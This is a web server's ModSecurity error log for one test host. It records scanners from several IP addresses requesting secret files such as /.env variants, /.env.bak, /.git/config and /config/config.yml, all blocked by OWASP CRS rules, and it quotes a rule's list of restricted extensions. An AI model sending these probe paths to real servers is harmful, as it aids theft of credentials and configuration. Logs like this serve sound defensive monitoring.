[Sat Nov 29 02:44:02.174554 2025] [:error] [pid 397989] [client 195.178.110.155:55608] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aSpP4imN-eoTuPxnkTNVLQAAAAE&quot;]
[Sat Nov 29 02:44:02.174758 2025] [:error] [pid 397989] [client 195.178.110.155:55608] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aSpP4imN-eoTuPxnkTNVLQAAAAE&quot;]
[Sat Nov 29 02:44:24.315584 2025] [:error] [pid 398018] [client 195.178.110.155:49980] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSpP-O3_2PExldOtev6ZFAAAAAY&quot;]
[Sat Nov 29 02:44:24.315896 2025] [:error] [pid 398018] [client 195.178.110.155:49980] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSpP-O3_2PExldOtev6ZFAAAAAY&quot;]
[Sat Nov 29 02:44:24.316108 2025] [:error] [pid 398018] [client 195.178.110.155:49980] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aSpP-O3_2PExldOtev6ZFAAAAAY&quot;]
[Sat Nov 29 08:14:28.910648 2025] [:error] [pid 398575] [client 2.57.122.173:47152] [client 2.57.122.173] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSqdVPf8q--fJYmSMAuGFwAAAAk&quot;]
[Sat Nov 29 08:14:28.910908 2025] [:error] [pid 398575] [client 2.57.122.173:47152] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSqdVPf8q--fJYmSMAuGFwAAAAk&quot;]
[Sat Nov 29 08:14:28.911078 2025] [:error] [pid 398575] [client 2.57.122.173:47152] [client 2.57.122.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSqdVPf8q--fJYmSMAuGFwAAAAk&quot;]
[Sat Nov 29 16:58:07.410926 2025] [:error] [pid 406840] [client 34.82.32.163:50054] [client 34.82.32.163] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSsYDx5v0tkB6ceEreJZywAAAA0&quot;]
[Sat Nov 29 16:58:07.411973 2025] [:error] [pid 406840] [client 34.82.32.163:50054] [client 34.82.32.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSsYDx5v0tkB6ceEreJZywAAAA0&quot;]
[Sat Nov 29 16:58:07.412180 2025] [:error] [pid 406840] [client 34.82.32.163:50054] [client 34.82.32.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSsYDx5v0tkB6ceEreJZywAAAA0&quot;]
[Sat Nov 29 20:56:50.662089 2025] [:error] [pid 406833] [client 204.76.203.25:41346] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aStQAmSaoKqaTAweeOm1JgAAAAE&quot;]
[Sat Nov 29 20:56:50.662386 2025] [:error] [pid 406833] [client 204.76.203.25:41346] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aStQAmSaoKqaTAweeOm1JgAAAAE&quot;]
[Sat Nov 29 20:56:50.662544 2025] [:error] [pid 406833] [client 204.76.203.25:41346] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aStQAmSaoKqaTAweeOm1JgAAAAE&quot;]
[Sat Nov 29 22:25:20.316531 2025] [:error] [pid 415635] [client 3.1.26.185:50548] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aStkwJD_EQ2bp6v9sqIzbQAAACs&quot;]
[Sat Nov 29 22:25:20.316770 2025] [:error] [pid 415635] [client 3.1.26.185:50548] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aStkwJD_EQ2bp6v9sqIzbQAAACs&quot;]
[Sat Nov 29 22:25:20.316953 2025] [:error] [pid 415635] [client 3.1.26.185:50548] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aStkwJD_EQ2bp6v9sqIzbQAAACs&quot;]
[Sat Nov 29 22:25:21.057064 2025] [:error] [pid 415602] [client 3.1.26.185:50550] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aStkwTljkL3-zKEEhIR4HwAAAAM&quot;]
[Sat Nov 29 22:25:21.057330 2025] [:error] [pid 415602] [client 3.1.26.185:50550] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aStkwTljkL3-zKEEhIR4HwAAAAM&quot;]
[Sat Nov 29 22:25:21.057526 2025] [:error] [pid 415602] [client 3.1.26.185:50550] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aStkwTljkL3-zKEEhIR4HwAAAAM&quot;]
[Sat Nov 29 22:25:21.797480 2025] [:error] [pid 415527] [client 3.1.26.185:50562] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aStkwRh4R8vT6XSyrx1VUQAAAAk&quot;]
[Sat Nov 29 22:25:21.797705 2025] [:error] [pid 415527] [client 3.1.26.185:50562] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aStkwRh4R8vT6XSyrx1VUQAAAAk&quot;]
[Sat Nov 29 22:25:21.797905 2025] [:error] [pid 415527] [client 3.1.26.185:50562] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aStkwRh4R8vT6XSyrx1VUQAAAAk&quot;]
[Sat Nov 29 22:25:22.534487 2025] [:error] [pid 415606] [client 3.1.26.185:50578] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aStkwjPH2TaDHxtKB4UGsAAAAA4&quot;]
[Sat Nov 29 22:25:22.534720 2025] [:error] [pid 415606] [client 3.1.26.185:50578] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aStkwjPH2TaDHxtKB4UGsAAAAA4&quot;]
[Sat Nov 29 22:25:22.534900 2025] [:error] [pid 415606] [client 3.1.26.185:50578] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aStkwjPH2TaDHxtKB4UGsAAAAA4&quot;]
[Sat Nov 29 22:25:23.257682 2025] [:error] [pid 415609] [client 3.1.26.185:50590] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aStkw_ZD94YQvfLnKIUz4QAAABE&quot;]
[Sat Nov 29 22:25:23.257898 2025] [:error] [pid 415609] [client 3.1.26.185:50590] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aStkw_ZD94YQvfLnKIUz4QAAABE&quot;]
[Sat Nov 29 22:25:23.258102 2025] [:error] [pid 415609] [client 3.1.26.185:50590] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aStkw_ZD94YQvfLnKIUz4QAAABE&quot;]
[Sat Nov 29 22:25:23.971292 2025] [:error] [pid 415627] [client 3.1.26.185:50604] [client 3.1.26.185] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aStkw5djneMF8PJYIKqPSwAAACM&quot;]
[Sat Nov 29 22:25:23.971479 2025] [:error] [pid 415627] [client 3.1.26.185:50604] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aStkw5djneMF8PJYIKqPSwAAACM&quot;]
[Sat Nov 29 22:25:23.971693 2025] [:error] [pid 415627] [client 3.1.26.185:50604] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aStkw5djneMF8PJYIKqPSwAAACM&quot;]
[Sat Nov 29 22:25:23.971896 2025] [:error] [pid 415627] [client 3.1.26.185:50604] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aStkw5djneMF8PJYIKqPSwAAACM&quot;]
